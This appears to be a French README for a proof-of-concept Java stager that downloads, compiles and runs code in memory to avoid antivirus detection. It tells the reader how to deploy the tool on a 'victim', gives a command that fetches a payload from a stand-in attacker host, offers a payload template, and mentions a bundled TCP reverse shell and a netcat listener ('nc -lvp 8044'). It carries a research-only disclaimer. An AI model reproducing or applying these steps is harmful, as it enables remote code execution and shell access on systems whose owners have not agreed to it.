
Un PoC Java Stager qui peut télécharger, compiler et exécuter un fichier Java en mémoire.
Un PoC Java Stager qui peut télécharger, compiler et exécuter un fichier Java en mémoire.
Ceci est uniquement à des fins de recherche, ne l'utilisez pas là où vous n'êtes pas autorisé à le faire.
Ceci est basé sur le travail de James Williams dans sa présentation "Next Gen AV vs My Shitty Code" disponible ici :
https://www.youtube.com/watch?v=247m2dwLlO4&feature=youtu.be
Les points clés de la présentation pour moi sont :
Son exemple est en .net, mais dans la présentation, il a suggéré que Java serait capable des mêmes techniques. J'ai implémenté un PoC brut qui, je pense, correspond aux techniques ci-dessus.
La sortie dans NetBeans incluait une ligne comme celle-ci :
Building jar: C:\Users\cornerpirate\Documents\NetBeansProjects\java-stager\target\JavaStager-0.1-initial.jar
Pour travailler sur votre victime, vous devez télécharger le fichier "JavaStager*.jar" et le dossier "lib" contenant Janino depuis le dossier "target".
La commande suivante exécutera le Stager :
java -jar JavaStager-0.1-initial.jar
Vous serez invité avec l'utilisation comme indiqué :
Proper Usage is: java -jar JavaStager-0.1-initial.jar <url>
Le "url" est le seul paramètre passé au Stager. Un exemple d'utilisation serait :
java -jar JavaStager-0.1-initial.jar http://attackerip/Payload.java
Votre payload doit être dans un fichier nommé "Payload.java" et votre code d'exploitation doit être dans une méthode statique appelée "Run". Ce qui suit montre le modèle si vous souhaitez écrire le vôtre :
public class Payload {
public static void Run() {
// Your code here
}
}
J'ai fourni un exemple de payload TCP reverse dans le fichier "TCPReverseShell.java". Pour éviter les conflits de noms, celui-ci n'est pas appelé "Payload.java" et le nom de la classe est incorrect. Le commentaire d'en-tête dans "TCPReverseShell.java" explique comment le modifier pour qu'il fonctionne.
Vous devrez héberger votre fichier "Payload.java" sur un serveur HTTP. Vous pouvez utiliser Apache si vous le souhaitez ou des services HTTP/HTTPS simples en Python2 et Python3 comme décrit dans mon blog :
https://cornerpirate.com/2016/12/16/simple-http-or-https-servers/
L'attaquant devra démarrer un écouteur netcat pour capturer la connexion retour en utilisant la technique standard nc -lvp 8044.
Article de blog expliquant comment tout fonctionne :
https://cornerpirate.com/2018/08/06/java-stager-hide-from-av-in-memory/
Vidéo montrant comment cela fonctionnait en pratique :